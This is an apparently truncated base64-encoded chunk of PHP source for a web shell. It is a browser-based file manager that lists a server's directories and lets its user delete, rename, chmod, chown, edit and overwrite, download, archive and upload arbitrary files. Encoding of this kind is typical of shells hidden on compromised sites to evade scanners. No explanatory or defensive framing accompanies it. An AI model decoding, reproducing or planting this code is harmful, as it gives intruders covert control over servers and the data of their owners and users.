WxldGUgRm9sZGVyJz4mIzEwMDA4OzwvYT4gPGEgY2xhc3M9J2FjdGlvbicgaHJlZj0nP2E9YyZyPSIudXJsZSgkZGlyKS4iJyB0aXRsZT0nTW9kaWZ5IEZvbGRlcic+JiM4NDk5OzwvYT48L3RkPjwvdHI+IjsNCgkJCX0NCgkJCWVsc2VpZigkZmlsZT09Ii4uIikNCgkJCXsNCgkJCQkkcmVhZHNbXT0iPHRyIHNvcnR0YWJsZV9jdXN0b21rZXk9JzEnPjx0ZD48Y2VudGVyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nbm9jaGtbXScgdmFsdWU9JyIudXJsZSgkdXBkaXIpLiInLz48L2NlbnRlcj48L3RkPjx0ZD48aW1nIHNyYz0nZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUdYUkZXSFJUYjJaMGQyRnlaUUJCWkc5aVpTQkpiV0ZuWlZKbFlXUjVjY2xsUEFBQUFtbEpSRUZVZU5wc1UwdG9VMEVVUGZQeXN4L3RUeHVESDlTQ1doVURvb0liZDdvUlVVVE1vdXFpMmlJb0NPNmxjZUhXaGVneTRFSkZpbldqcmxRVXBWbTBJSW9GcFZERUl0aG0wZHBpa3BmM1p1WjZaOTRuclhoaE1qTTNjODg5NTk3N0JCSEIyUHpuSzhXUHREZ3lXSDVxNzdjUEg4UHBkWHVocFFUNGlmUjl1NXNmSmIxYm13NlZpdmFoQVREcnhjUloybmpmb2FNdisyajdtTERuOTNNUGlOUk12R2JMMThMOUlwRjhoOS9UTitFWWtNZmZTaU9YSjUraGtEK1BkcWNMcElDV0hPSGMyQ0MrTEV5QS9LK2NLUU1ubFFISlg4d3FZRzNNQUp5ODhXYTRPTER2RXFBRU9wSmQwTHhISU1kSEJ6aW93U3dWbEY4RDZRYWljSzAxa3J3L0p5bndjS29Fd1pjemV3cm9UdlppcmxLSnM1Q3FRNUNHOHBiNTdGbkpVQTBMWUNYTVg1ZmliZCtwOExXRERlbWNQWmJ6UXlqdkgrS2kxVGxJY2lFbEE3Z2h3TEtWNGtSWnN0dDJzQU5XUmpZVEFHenVQMmhYWkZwSi9Hc3hnR0owb3gxYW9GV3NEWHl5eHFDczI2K3lkbWFnRk4vclJqeW1KMTg5OGJ6R3ptUUUwSENacG1rNUEwUkZJdjhQbjBXWVBzaXU2dC9Sc2o2UGF1VlR3ZmZUU3pHQUdaaFVHMkYwNmhFYzlpYlM3T1BNTnA2RXJZRmxLYXZvN01raG1UcUN4Wi9qd3pHQTlIeDgySDJCWlN3MU5UTjlHeDh5Y0hrYWpVLzdNK2pJbnNEQzdEaWFFbW8xYk5sMUFNcjlBU0ZncVZ1OU1DVEl6b0dVaW1YVkFubmFOMFBkQkJEQ0NZYkV0TWs2d2twUXdJRzBzbjBQUUlVRjRHc1R3TFNJRktOcUY2RFZyUXErSVdWclFEeEFZUUMvMVNzWU9JNHBPeEtacmZpZmlVU2JEVWlzaWY3WGxwR0lQdWZYZC91dmR2Wm03NjBNMG5vMUZaY25yelVkanc3YXUzdnUvQlZnQUZMWGV1VHhoVFhWQUFBQUFFbEZUa1N1UW1DQycvPiA8YSB0aXRsZT0nUGFyZW50IERpcmVjdG9yeScgaHJlZj0nP2Q9Ii51cmxlKCR1cGRpcikuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+PHRkPjxjZW50ZXI+Ii5zdHJ0b3VwcGVyKCR0eXBlKS4iPC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPiIuJHBlcm0uIjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+Ii4kb3duZXIuIjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+Ii4kbGFzdC4iPC9jZW50ZXI+PC90ZD48dGQ+PGEgY2xhc3M9J2FjdGlvbicgaHJlZj0nP2E9eCZyPSIudXJsZSgkdXBkaXIpLiInIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRGVsZXRlIERpcmVjdG9yeSBbIC8iLmJhc2VuYW1lKCR1cGRpcikuIiBdID8nKTtcIiB0aXRsZT0nRGVsZXRlIEZvbGRlcic+JiMxMDAwODs8L2E+IDxhIGNsYXNzPSdhY3Rpb24nIGhyZWY9Jz9hPWMmcj0iLnVybGUoJHVwZGlyKS4iJyB0aXRsZT0nTW9kaWZ5IEZvbGRlcic+JiM4NDk5OzwvYT48L3RkPjwvdHI+IjsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlpZigkdHlwZT09ImRpciIpDQoJCQkJew0KCQkJCQkkcmVhZHNbXT0iPHRyIHNvcnR0YWJsZV9jdXN0b21rZXk9JzMnPjx0ZD48Y2VudGVyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nY2hrW10nIHZhbHVlPSciLnVybGUoJGZpbGVkaXIpLiInIC8+PC9jZW50ZXI+PC90ZD48dGQ+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFHWFJGV0hSVGIyWjBkMkZ5WlFCQlpHOWlaU0JKYldGblpWSmxZV1I1Y2NsbFBBQUFBZDVKUkVGVWVOcU1VNzlyRlVFUS92YnVvZEZFRWt6QUltQnBrVWFiRlA0bGRwYUpoWlhZbS9SaVpXc3YvaGtXRmdsQlV5VElneUFJSWZnSVJqSHYzcjM5TWVQTTdOM0xjYnhBRnZaMmIyYm4yMi9tbTNYTWpGK0hMM1lXN3EyOFlTSXc4bUJLb0JpaGhoZ0Nzb09Sb3Q5ZDMveXdnM1lvd01Yd05kZS9QekduazJ2bjZQaXRyVCsvUEdlTmFlY2c0K3FOWTNENDN2eTE2QTV3RERkNEFxZy9uZ21yamwvR29OMFU1VjFRcXVIUUczcStUUERWaFZ3eUJmZmNtUUdKbVNWZnlaazdSM1NuZ0k0Sktmd0RKMiswNXpJZzhnYmllcmVUWlJIaEo1S0NNT3dERkxqaG9CVG4yZzBnaGFnZktlSVlKRFBGeWliSlZCdFRSRXdxNjBTcFl2aDUrK1Bwd2F0SHN4U205UVJMU1FwRVZTZDcvVFlKVWI0OVRYN2d6dHBqakVmZm5vVnc2NitZdG92czE0WXA3SGFLbVVYZVg5cktVb01vTE5XM3NycUk1ZlduOEplanJWa0swUWNya0ZMT2dTMzl5b0tVUWUyOTJXSjFndVVIRzhLMm84SzAwb08xQlR2WG9XNHlhc2NsVVRnWllKWTlhRk5mQVRoWDVDWlJtY3pBVjUyb0FQb3VwSGhXUklVVUFPb3lVSWxZVmFBYS9WYkxieWlaVWl5RmJqUUZOd2laUVNHbDRJRHk5c081V3J0eTBRTEtoZFpQeG1nR2NEbzhlam4rYy82ZWlLOXBvejE1S3c3RHIvdk4vejZXN3ErKzA5MS9BUVlBNW1aOEdZSjlLMEFBQUFBQVNVVk9SSzVDWUlJPScvPiA8YSB0aXRsZT0nT3BlbiBEaXJlY3RvcnknIGhyZWY9Jz9kPSIudXJsZSgkZmlsZWRpcikuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+PHRkPjxjZW50ZXI+Ii5zdHJ0b3VwcGVyKCR0eXBlKS4iPC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPiIuJHBlcm0uIjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+Ii4kb3duZXIuIjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+Ii4kbGFzdC4iPC9jZW50ZXI+PC90ZD48dGQ+PGEgY2xhc3M9J2FjdGlvbicgaHJlZj0nP2E9eCZyPSIudXJsZSgkZmlsZWRpcikuIicgb25jbGljaz1cInJldHVybiBjb25maXJtKCdEZWxldGUgRGlyZWN0b3J5IFsgLyIuYmFzZW5hbWUoJGZpbGVkaXIpLiIgXSA/Jyk7XCIgdGl0bGU9J0RlbGV0ZSBGb2xkZXInPiYjMTAwMDg7PC9hPiA8YSBjbGFzcz0nYWN0aW9uJyBocmVmPSc/YT1jJnI9Ii51cmxlKCRmaWxlZGlyKS4iJyB0aXRsZT0nTW9kaWZ5IEZvbGRlcic+JiM4NDk5OzwvYT48L3RkPjwvdHI+IjsNCgkJCQkJJGNvdW50X2RpcnMrKzsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJJHJlYWRzW109Ijx0ciBzb3J0dGFibGVfY3VzdG9ta2V5PSc0Jz48dGQ+PGNlbnRlcj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2Noa1tdJyB2YWx1ZT0nIi51cmxlKCRmaWxlZGlyKS4iJyAvPjwvY2VudGVyPjwvdGQ+PHRkPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQUlBQUFDUWtXZzJBQUFBQm5SU1RsTUFBQUFBQUFCdXBnZVJBQUFCSFVsRVFWUjQybzJSTVc3RElCaUYzNDk4aUhSSkQ1SktIdXJMK0NSVkJwK2kyVDE2dFR5bkYyZ08wS1NiNVpyQkJsNEhIREJ1Sy9XWEFDSDRlTzkvQ0FBQWJkdmlqekxHTkUxVFZaWGZadUhnNlhDQVFFU0FaWGJPS2FYTzU3ZWlLRzZmdDlQcktRSWtDUXFGb0lpUUZCR2xGSUI1bnZNOHQ5YU9YMk5kMThvRHpqblBnQ0Rwbi9CSDR6aDJYWmRsV1ZtV2lVSzRJZ0NCb0ZNVXo5ZVA2elJONzVjTGdFUWhjbVRRSWJsNzJPMGY5ODY1cUxBQXNVUkFBZ0tCSktFdGdMWFd2eWpMdUZzVGhDU3N0YjhyQkNhQVFoRFlXZ0laN215TStUVUJqREhySGxaY2JNWVlrMzRjTjBZU0xjZ1Mrd0wwZmU5VFhETWJZMzNmUjJBWUJ2eVE4TDBHazhNd1JFQnJUZktlNFRwVHp3aEFyWFdpOEhJODRoLzFEZndJNW1oeEphbUZBQUFBQUVsRlRrU3VRbUNDJz4gPGEgdGl0bGU9J1ZpZXcgRmlsZScgaHJlZj0nIi4kdmlldy4iJz4iLiRmaWxlLiI8L2E+PC90ZD48dGQ+PGNlbnRlcj4iLnN0cnRvdXBwZXIoJHR5cGUpLiI8L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPiIuJHNpemUuIjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+Ii4kcGVybS4iPC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj4iLiRvd25lci4iPC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj4iLiRsYXN0LiI8L2NlbnRlcj48L3RkPjx0ZD48YSBjbGFzcz0nYWN0aW9uJyBocmVmPSc/YT1lJnI9Ii51cmxlKCRmaWxlZGlyKS4iJyB0aXRsZT0nTW9kaWZ5IEZpbGUnPiYjODQ5OTs8L2E+IDxhIGNsYXNzPSdhY3Rpb24nIGhyZWY9Jz9hPXgmcj0iLnVybGUoJGZpbGVkaXIpLiInIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRGVsZXRlIEZpbGVuYW1lIFsgIi5iYXNlbmFtZSgkZmlsZWRpcikuIiBdID8nKTtcIiB0aXRsZT0nRGVsZXRlIEZpbGUnPiYjMTAwMDg7PC9hPiA8YSBjbGFzcz0nYWN0aW9uJyBocmVmPSc/YT1kJnI9Ii51cmxlKCRmaWxlZGlyKS4iJyB0aXRsZT0nRG93bmxvYWQgRmlsZSc+JiMxMDE0OTs8L2E+PC90ZD48L3RyPiI7CQkNCgkJCQkJJGNvdW50X2ZpbGVzKys7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCXNvcnQoJHJlYWRzKTsNCgkJJGZpbGVzZGlycz0iIjsNCgkJZm9yZWFjaCgkcmVhZHMgYXMgJHJlYWQpDQoJCXsNCgkJCSRmaWxlc2RpcnMuPSRyZWFkOw0KCQl9DQoJCXByaW50ZigiPGRpdiBpZD0nYWN0aW9uJz4NCgkJCQkJPHRhYmxlPjx0cj4NCgkJCQkJPHRkPjxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD1QT1NUIGFjdGlvbj0nP2Q9JXMnPg0KCQkJCQkJPGlucHV0IG5hbWU9J3doYXQnIHR5cGU9J3RleHQnIC8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZmlsZScgdmFsdWU9J05ldyBGaWxlJy8+DQoJCQkJCTwvZm9ybT48L3RkPg0KCQkJCQk8dGQ+PGZvcm0gY2xhc3M9J25ldycgbWV0aG9kPVBPU1QgYWN0aW9uPSc/ZD0lcyc+DQoJCQkJCQk8aW5wdXQgbmFtZT0nd2hhdCcgdHlwZT0ndGV4dCcgLz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdkaXJlY3RvcnknIHZhbHVlPSdOZXcgRGlyJy8+DQoJCQkJCTwvZm9ybT48L3RkPg0KCQkJCQk8dGQ+PGZvcm0gY2xhc3M9J25ldycgbWV0aG9kPVBPU1QgYWN0aW9uPSc/eD1maW5kJz4NCgkJCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaW5kLXZhbHVlJyBpZD0nZmluZC1hY3Rpb24nLz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdmaW5kLWJ1dHRvbicgdmFsdWU9J0ZpbmQnLz4NCgkJCQkJPC9mb3JtPjwvdGQ+DQoJCQkJCTx0ZD48Zm9ybSBjbGFzcz0nbmV3JyBtZXRob2Q9UE9TVCBhY3Rpb249Jz9kPSVzJng9dXBsb2FkJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCgkJCQkJCTxpbnB1dCBuYW1lPSd3aGF0JyB0eXBlPSdmaWxlJyBjbGFzcz0naW5wdXRmaWxlJy8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0ndXBsb2FkJyB2YWx1ZT0nVXBsb2FkJy8+DQoJCQkJCTwvZm9ybT48L3RkPg0KCQkJCQk8L3RyPjwvdGFibGU+DQoJCQkJPC9kaXY+DQoJCQkJPGRpdiBpZD0naG9tZSc+DQoJCQkJCTxmb3JtIG5hbWU9J2ZpbGVzJyBtZXRob2Q9UE9TVCBhY3Rpb249Jz94PWFjdGlvbicgb25jbGljaz0nY2hlY2tDb3VudChcImNvdW50XCIpJz4NCgkJCQkJCTx0YWJsZSBjbGFzcz0ndGFibGUgc29ydGFibGUnPg0KCQkJCQkJCTx0aGVhZD4NCgkJCQkJCQkJPHRyPg0KCQkJCQkJCQkJPHRoIGNsYXNzPSdzb3J0dGFibGVfbm9zb3J0Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoZWNrLWFsbCcgb25jbGljaz0nY2hlY2tBbGwoKScvPjwvdGg+DQoJCQkJCQkJCQk8dGggY2xhc3M9J3NvcnR0YWJsZV9udW1lcmljJz5OYW1lPC90aD4NCgkJCQkJCQkJCTx0aD5UeXBlPC90aD4NCgkJCQkJCQkJCTx0aD5TaXplPC90aD4NCgkJCQkJCQkJCTx0aD5QZXJtczwvdGg+DQoJCQkJCQkJCQk8dGg+T3duZXI6R3JvdXA8L3RoPg0KCQkJCQkJCQkJPHRoPk1vZGlmaWVkPC90aD4NCgkJCQkJCQkJCTx0aD5BY3QuPC90aD4NCgkJCQkJCQkJPC90cj4NCgkJCQkJCQk8L3RoZWFkPg0KCQkJCQkJCTx0Ym9keT4lczwvdGJvZHk+DQoJCQkJCQkJPHRGb290Pg0KCQkJCQkJCQk8dHI+DQoJCQkJCQkJCQk8dGQgY29sc3Bhbj0nOCc+WzxzcGFuIGlkPSdjb3VudCc+MDwvc3Bhbj5dIFNlbGVjdGVkIHwgRGlyJ3M6IFslc10gRmlsZSdzOiBbJXNdPC90ZD4NCgkJCQkJCQkJPC90cj4NCgkJCQkJCQk8L3RGb290Pg0KCQkJCQkJPC90YWJsZT4NCgkJCQkJCTxzZWxlY3QgbmFtZT0nYWN0aW9uLXZhbHVlJz4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdjb3B5Jz5Db3B5PC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nbW92ZSc+TW92ZTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nemlwJz5BcmNoaXZlICh6aXApPC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0ndW56aXAnPkV4dHJhY3QgdG8gKHppcCk8L29wdGlvbj4NCgkJCQkJCTwvc2VsZWN0Pg0KCQkJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0FjdGlvbicgbmFtZT0nYWN0aW9uLWJ1dHRvbicgLz4NCgkJCQkJPC9mb3JtPg0KCQkJCTwvZGl2PiIsDQoJCQkJdXJsZSgkZGlyKSwNCgkJCQl1cmxlKCRkaXIpLA0KCQkJCXVybGUoJGRpciksDQoJCQkJJGZpbGVzZGlycywNCgkJCQkkY291bnRfZGlycywNCgkJCQkkY291bnRfZmlsZXMNCgkJKTsNCgkJY2xvc2VkaXIoJGhhbmRsZSk7DQoJfQ0KCWVsc2UNCgl7DQoJCXByaW50ICI8Y2VudGVyIHN0eWxlPSdtYXJnaW4tYm90dG9tOjEwcHgnPjxiIGNsYXNzPSdvZmYnPkNhbid0IE9wZW4gTG9jYXRpb248L2I+PC9jZW50ZXI+IjsNCgl9DQp9DQoNCmlmKGFueSgiciIsJF9SRVFVRVNUKSkNCnsNCglpZihmaWxlX2V4aXN0cyh1cmxkKCRfUkVRVUVTVFsiciJdKSkpDQoJew0KCQkkZmlsZT1zdHJ2YWwodXJsZCgkX1JFUVVFU1RbInIiXSkpOw0KCQkkc3RhdHVzPWFueSgic3RhdHVzIiwkX1NFU1NJT04pPyRfU0VTU0lPTlsnc3RhdHVzJ106IiI7DQoJCSRiYWNrPXBocF9zZWxmLiI/ZD0iLnVybGUoJGRpcik7DQoNCgkJcHJpbnRmKCI8ZGl2IGNsYXNzPSdkaXZpZGUnPg0KCQkJCTxkaXYgY2xhc3M9J2RpdmlkZS1sZWZ0Jz4NCgkJCQkJPHRhYmxlIGNsYXNzPSd0YWJsZSc+DQoJCQkJCQk8dHI+PHRkPk5hbWU8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCTx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJPHRyPjx0ZD5QZXJtaXNzaW9uPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQk8dHI+PHRkPkNyZWF0ZSB0aW1lPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQk8dHI+PHRkPkxhc3QgbW9kaWZpZWQ8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCTx0cj48dGQ+TGFzdCBhY2Nlc3NlZDwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQk8L3RhYmxlPg0KCQkJCTwvZGl2Pg0KCQkJCTxkaXYgY2xhc3M9J2RpdmlkZS1yaWdodCc+DQoJCQkJCTx0YWJsZSBjbGFzcz0ndGFibGUnPg0KCQkJCQkJPHRyPjx0ZD5NSU1FPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQk8dHI+PHRkPk93bmVyL0dyb3VwPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQk8dHI+PHRkPk1ENTwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJPHRyPjx0ZD5TSEExPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCTwvdGFibGU+DQoJCQkJPC9kaXY+DQoJCQk8L2Rpdj4iLA0KCQkJYmFzZW5hbWUoJGZpbGUpLA0KCQkJR2V0RmlsZVNpemUoQGZpbGVzaXplKCRmaWxlKSksDQoJCQlHZXRGaWxlUGVybSgkZmlsZSksDQoJCQlHZXRGaWxlVGltZSgkZmlsZSwiY3JlYXRlIiksDQoJCQlHZXRGaWxlVGltZSgkZmlsZSwibW9kaWZ5IiksDQoJCQlHZXRGaWxlVGltZSgkZmlsZSwiYWNjZXNzIiksDQoJCQltaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSksDQoJCQlHZXRGaWxlT3duZXJHcm91cCgkZmlsZSksDQoJCQlAbWQ1X2ZpbGUoJGZpbGUpLA0KCQkJQHNoYTFfZmlsZSgkZmlsZSkNCgkJKTsNCg0KCQlpZihpc19maWxlKCRmaWxlKXx8aXNfbGluaygkZmlsZSkpDQoJCXsNCgkJCSRtZW51PWFycmF5KA0KDQoJCQkJIkJhY2siICAgICAgPT4gIj9hPWImcj0iLA0KCQkJCSJFZGl0IiAgICAgID0+ICI/YT1lJnI9IiwNCgkJCQkiVmlldyIgICAgICA9PiAiP2E9diZyPSIsDQoJCQkJIkNvcHkiICAgICAgPT4gIj9hPWNwJnI9IiwNCgkJCQkiTW92ZSIgICAgICA9PiAiP2E9bXYmcj0iLA0KCQkJCSJEb3dubG9hZCIgID0+ICI/YT1kJnI9IiwNCgkJCQkiSGV4ZHVtcCIgICA9PiAiP2E9aCZyPSIsDQoJCQkJIkNobW9kIiAgICAgPT4gIj9hPWMmcj0iLA0KCQkJCSJDaG93biIgICAgID0+ICI/YT1jd24mcj0iLA0KCQkJCSJDaGdycCIgICAgID0+ICI/YT1jZ3Amcj0iLA0KCQkJCSJUb3VjaCIgICAgID0+ICI/YT10JnI9IiwNCgkJCQkiUmVuYW1lIiAgICA9PiAiP2E9ciZyPSIsDQoJCQkJIkRlbGV0ZSIgICAgPT4gIj9hPXgmcj0iDQoJCQkpOw0KCQl9DQoJCWVsc2VpZihpc19kaXIoJGZpbGUpKQ0KCQl7DQoJCQkkbWVudT1hcnJheSgNCg0KCQkJCSJCYWNrIiAgICAgID0+ICI/YT1iJnI9IiwNCgkJCQkiQ2htb2QiICAgICA9PiAiP2E9YyZyPSIsDQoJCQkJIkNob3duIiAgICAgPT4gIj9hPWN3biZyPSIsDQoJCQkJIkNoZ3JwIiAgICAgPT4gIj9hPWNncCZyPSIsDQoJCQkJIlRvdWNoIiAgICAgPT4gIj9hPXQmcj0iLA0KCQkJCSJSZW5hbWUiICAgID0+ICI/YT1yJnI9IiwNCgkJCQkiRGVsZXRlIiAgICA9PiAiP2E9eCZyPSINCgkJCSk7DQoJCX0NCg0KCQkkbnU9IiI7DQoJCQ0KCQlmb3JlYWNoKCRtZW51IGFzICRrZXkgPT4gJHZhbCkNCgkJew0KCQkJJGlkeGtleT1zdWJzdHIoJHZhbCwxLDEpOw0KCQkJJGlkeHZhbD1zdWJzdHIoJHZhbCwzLHN0cnBvcygkdmFsLCcmJyktMyk7DQoJCQkkYWN0aXZlPWFueSgkaWR4a2V5LCRfUkVRVUVTVCkmJiRfUkVRVUVTVFskaWR4a2V5XT09JGlkeHZhbD8iY2xhc3M9J2FjdGl2ZSciOiIiOw0KCQkJaWYoJGtleT09IkRlbGV0ZSIpDQoJCQl7DQoJCQkJJG51Lj0iPGxpPjxhICIuJGFjdGl2ZS4iIGhyZWY9JyIuJHZhbC51cmxlKCRmaWxlKS4iJyBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBGaWxlbmFtZSBbICIuYmFzZW5hbWUoJGZpbGUpLiIgXSA/Jyk7XCI+Ii4ka2V5LiI8L2E+PC9saT4iOw0KCQkJfQ0KCQkJZWxzZWlmKCRrZXk9PSJCYWNrIikNCgkJCXsNCgkJCQkkbnUuPSI8bGk+PGEgIi4kYWN0aXZlLiIgaHJlZj0nIi4kYmFjay4iJz4iLiRrZXkuIjwvYT48L2xpPiI7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJG51Lj0iPGxpPjxhICIuJGFjdGl2ZS4iIGhyZWY9JyIuJHZhbC51cmxlKCRmaWxlKS4iJz4iLiRrZXkuIjwvYT48L2xpPiI7DQoJCQl9DQoJCX0NCg0KCQlwcmludGYoIjxkaXYgY2xhc3M9J21lbnUnPg0KCQkJPHVsPiVzPC91bD4NCgkJPC9kaXY+IiwkbnUpOw0KDQoJCWlmKCRfUkVRVUVTVFsnYSddPT0nZScpDQoJCXsNCgkJCSRzb3VyY2U9IiI7DQoNCgkJCWlmKGZpbGVzaXplKCRmaWxlKSA+IDUyNDI4ODApDQoJCQl7DQoJCQkJJHNvdXJjZS49IkxhenkgdG8gUmVhZCBtb3JlIHRoYW4gNU1CIEZpbGVzIjsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkb3Blbj1mb3BlbigkZmlsZSwncicpOw0KDQoJCQkJaWYoJG9wZW4pIA0KCQkJCXsNCgkJCQkJd2hpbGUoIWZlb2YoJG9wZW4pKSANCgkJCQkJew0KCQkJCQkJJHNvdXJjZS49aHRtbGVudGl0aWVzKGZyZWFkKCRvcGVuLCgxMDI0KjQpKSk7DQoJCQkJCX0NCgkJCQkJZmNsb3NlKCRvcGVuKTsNCgkJCQl9DQoJCQl9DQoNCgkJCXByaW50ZigiPGZvcm0gY2xhc3M9J2ZybXNvdXJjZScgbWV0aG9kPSdwb3N0Jz4NCgkJCQkJPHRleHRhcmVhIGlkPSdzb3VyY2Vmb2N1cycgbmFtZT0nc291cmNlY29kZScgcm93cz0nMjUnIGNvbHM9JzEwMCc+JXM8L3RleHRhcmVhPg0KCQkJCQk8aW5wdXQgdHlwZT0nU3VibWl0JyB2YWx1ZT0nU2F2ZSBmaWxlJyBuYW1lPSdzYXZlJy8+DQoJCQkJCTxsYWJlbD4lczwvbGFiZWw+DQoJCQkJPC9mb3JtPiIsJHNvdXJjZSwkc3RhdHVzKTsNCgkJDQoJCQlpZihhbnkoInN0YXR1cyIsJF9TRVNTSU9OKSkgdW5zZXQoJF9TRVNTSU9OWydzdGF0dXMnXSk7DQoNCgkJCWlmKGFueSgic2F2ZSIsJF9SRVFVRVNUKSkNCgkJCXsNCgkJCQkkbmV3X3NvdXJjZT0kX1JFUVVFU1RbJ3NvdXJjZWNvZGUnXTsNCgkJCQlpZihmdW5jdGlvbl9leGlzdHMoImNobW9kIikpIGNobW9kKCRmaWxlLDA3NTUpOw0KCQkJCSRzb3VyY2VfZWRpdD1mb3BlbigkZmlsZSwndysnKTsNCgkJCQkkdHVsaXM9ZndyaXRlKCRzb3VyY2VfZWRpdCwkbmV3X3NvdXJjZSk7DQoJCQkJZmNsb3NlKCRzb3VyY2VfZWRpdCk7DQoJCQkJaWYoJHR1bGlzKQ0KCQkJCXsNCgkJCQkJJF9TRVNTSU9OWydzdGF0dXMnXT0iRmlsZSBTYXZlZCAhICIuR2V0RmlsZVRpbWUoJGZpbGUsIm1vZGlmeSIpLiIgfCAiLkdldEZpbGVTaXplKGZpbGVzaXplKCRmaWxlKSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSRfU0VTU0lPTlsnc3RhdHVzJ109Ildob29wcywgc29tZXRoaW5nIHdlbnQgd3JvbmcuLi4iOw0KCQkJCX0NCgkJCQloZWFkZXIoImxvY2F0aW9uOiIucGhwX3NlbGYuIj9hPWUmcj0iLnVybGUoJGZpbGUpKTsNCgkJCX0NCgkJfQ0KDQoJCWlmKCRfUkVRVUVTVFsnYSddPT0ncicpDQoJCXsNCgkJCXByaW50ZigiPGZvcm0gY2xhc3M9J25ldycgbWV0aG9kPSdwb3N0Jz4NCgkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbmFtZScgdmFsdWU9JyVzJy8+DQoJCQkJPGlucHV0IHR5cGU9J1N1Ym1pdCcgdmFsdWU9J1JlbmFtZScgbmFtZT0ncmVuYW1lJy8+DQoJCQkJPGxhYmVsPiVzPC9sYWJlbD4NCgkJCTwvZm9ybT4iLGJhc2VuYW1lKCRmaWxlKSwkc3RhdHVzKTsNCg0KCQkJaWYoYW55KCJzdGF0dXMiLCRfU0VTU0lPTikpIHVuc2V0KCRfU0VTU0lPTlsnc3RhdHVzJ10pOw0KDQoJCQlpZihhbnkoInJlbmFtZSIsJF9SRVFVRVNUKSkNCgkJCXsNCgkJCQkkcGF0aD1wYXRoaW5mbyh0cmltKCRmaWxlKSk7DQoJCQkJJG5ld25hbWU9JHBhdGhbJ2Rpcm5hbWUnXS5fLnRyaW0oJF9SRVFVRVNUWyduYW1lJ10pOw0KCQkJCWlmKCFyZW5hbWUodHJpbSgkZmlsZSksJG5ld25hbWUpKSANCgkJCQl7DQoJCQkJICAgICRfU0VTU0lPTlsnc3RhdHVzJ109J1dob29wcywgc29tZXRoaW5nIHdlbnQgd3JvbmcuLi4nOw0KCQkJCX0NCgkJCQllbHNlIA0KCQkJCXsNCgkJCQkgICAgJF9TRVNTSU9OWydzdGF0dXMnXT0nUmVuYW1lZCBmaWxlIHdpdGggc3VjY2Vzcyc7DQoJCQkJfQ0KCQkJCWhlYWRlcigibG9jYXRpb246Ii5waHBfc2VsZi4iP2E9ciZyPSIudXJsZSgkbmV3bmFtZSkpOw0KCQkJfQ0KCQl9DQoNCgkJaWYoJF9SRVFVRVNUWydhJ109PSdjJykNCgkJew0KCQkJcHJpbnRmKCI8Zm9ybSBjbGFzcz0nbmV3JyBtZXRob2Q9J3Bvc3QnPg0KCQkJCTxpbnB1dCB0eXBlPSd0